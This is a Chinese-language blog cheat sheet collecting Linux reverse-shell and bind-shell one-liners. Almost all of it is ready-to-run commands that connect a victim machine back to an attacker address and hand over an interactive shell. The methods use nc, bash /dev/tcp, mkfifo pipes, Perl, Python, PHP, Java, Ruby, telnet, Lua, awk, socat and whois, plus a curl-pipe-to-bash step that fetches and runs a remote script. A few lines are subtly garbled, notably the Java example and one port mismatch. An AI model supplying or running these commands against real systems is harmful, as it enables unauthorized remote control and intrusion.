Linux反弹Shell总结

反弹姿势

1、NC正向反弹

靶机:

nc -lvvp 靶机端口 -e /bin/sh

攻击机:

nc 靶机ip 靶机端口

2、NC反向反弹

(1)、可使用-e参数:

靶机:

nc x.x.x.x 8888 -e /bin/bash 

攻击机:

nc -lvvp 8888

(2)、NC,无-e参数反弹shell

有些版本的NC可能不支持-e选项,不能使用-e,则:

方法一:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc x.x.x.x 8888 >/tmp/f

方法二:

mknod backpipe p; nc x.x.x.x 8888 0<backpipe | /bin/bash 1>backpipe 2>backpi

方法三:利用管道符直接反弹:

攻击者主机上打开两个终端分别执行监听:

nc -nvlp 6666
nc -nvlp 7777

靶机上执行连接:

nc x.x.x.x 6666|/bin/bash|x.x.x.x 7777

监听两个端口分别用来输入和输出,其中x.x.x.x均为攻击者ip,反弹shell成功后,在监听6666端口的终端中执行命令可以在另一个终端中看到命令执行结果。

(3)、Bash

靶机:

bash -i >& /dev/tcp/x.x.x.x/8888 0>&1
bash -i>& /dev/tcp/x.x.x.x/8888 0<&1

0>&1 和 0<&1 ,只是打开方式的不同,而对于这个文件描述符来讲并没有什么区别
延申:利用Java Runtime配合bash编码进行绕过。

(4)、exec绑定反弹

靶机:

exec 5<>/dev/tcp/x.x.x.x/8888;cat <&5 | while read line; do $line 2>&5 >&5; done

与之完全类似的还有下面这条指令:

0<&196;exec 196<>/dev/tcp/x.x.x.x/8888; sh <&196 >&196 2>&196

(5)、Perl

方法一:

perl -e 'use Socket;$i="x.x.x.x";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

方法二(不依赖/bin/sh):

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:8888");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

方法三(Windows):

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:8888");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

(6)、Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

(7)、PHP

  • 使用php的exec函数
php- 'exec("/bin/bash -i >& /dev/tcp/x.x.x.x/8888")'
  • 使用php的fsockopen建立socket会话去连接远程
php -r '$sock=fsockopen("x.x.x.x",8888);exec("/bin/sh -i <&3 >&3 2>&3");'

(8)、Java

r = Runtime.getRuntime() 
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/8888;cat <&5 2="" |="" while="" read="" line;="" do="" \$line="">&5 >&5; done"] as String[]) 
p.waitFor()

(9)、Ruby

方法一:

ruby -rsocket -e'f=TCPSocket.open("x.x.x.x",8888).to_i;exec sprintf("/bin/sh -i <&%d>&%d 2>&%d",f,f,f)'

方法二(不依赖 /bin/sh):

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","8888");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

方法三(windows):

ruby -rsocket -e 'c=TCPSocket.new("x.x.x.x","8888");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

(10)、Telnet(NC不可用或者/dev/tcp不可用时)

方法一:

攻击机:

nc -lvvp 5555
nc -lvvp 6666

靶机:

telnet x.x.x.x 5555 | /bin/bash | telnet x.x.x.x 6666

方法二:

靶机:

rm -f a && mknod a p && telnet x.x.x.x 8888 0<a | /bin/bash 1>a
或
rm -f a;mknod a p;telnet x.x.x.x 8888 0<a | /bin/bash 1>a

(11)、其他

Lua

lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','8888');os.execute('/bin/sh -i <&3 >&3 2>&3');"

AWK 反弹

注意:攻击的机器监听,在收到shell的时候不可以输入enter,不然会断开

awk 'BEGIN{s="/inet/tcp/0/x.x.x.x/8888";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

socat反弹

socat exec:‘bash -li’,pty,stderr,setsid,sigint,sane tcp:x.x.x.x:8888

curl反弹

Kali开启apache服务,把bash命令写入html文件,只要文本包含bash一句话即可。
1)、python启动http

python -m SimpleHTTPServer 4444

2)、在目录下放置bash.html,bash里面直接写入反弹语句,如 :

cat bash.html
bash -i >& /dev/tcp/x.x.x.x /55555 0>&1

3)、靶机执行:

curl x.x.x.x:4444/bash.html|bash

4)、攻击机:

nc -lvvp 5555

whois反弹

whois -h x.x.x.x -p 4444 'whoami' //反弹的shell只能执行后面带的命令

版权声明:本文为qq_45600801原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。